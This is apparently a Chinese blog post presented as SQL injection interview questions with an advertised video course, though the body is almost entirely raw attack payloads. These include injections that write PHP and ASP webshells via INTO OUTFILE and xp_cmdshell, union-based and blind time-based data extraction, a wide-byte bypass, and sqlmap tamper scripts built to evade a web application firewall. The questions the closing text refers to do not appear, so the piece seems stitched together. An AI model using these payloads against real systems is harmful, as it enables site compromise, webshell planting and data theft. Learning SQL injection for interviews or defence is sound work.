关于SQL注入的面试题及经验分享（附视频教程）

id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径shell.php" %23

id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径shell.asp' --

union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+

select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)

select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)

id=1%df' and 1=2 union select 1,2,user(),4 %23

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW 

def dependencies(): 
     pass

def tamper(payload, **kwargs): 
      pass

• LOWEST = -100
• LOWER = -50
• LOW = -10
• NORMAL = 0
• HIGH = 10
• HIGHER = 50
• HIGHEST = 100

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!29440AND*/')
    payload=payload.replace('ORDER','/*!29440order*/')
    payload=payload.replace('LIKE USER()','like (user/**/())')
    payload=payload.replace('DATABASE()','database/*!29440*/()')
    payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
    payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
    payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')
    payload=payload.replace('super_priv','/*!29440/**/super_priv*/')
    payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')
    payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')
    payload=payload.replace('SLEEP(','sleep/**/(')
    return payload

以上是我总结的关于SQL注入高频出现的面试题，若你对于其中的2道或更多题目感到困惑或回答错误，这可能表明你的基础知识尚需加强。为了更好地掌握SQL注入的核心内容，建议你观看完整视频教程，由浅入深系统学习，确保每个知识点都能熟练掌握。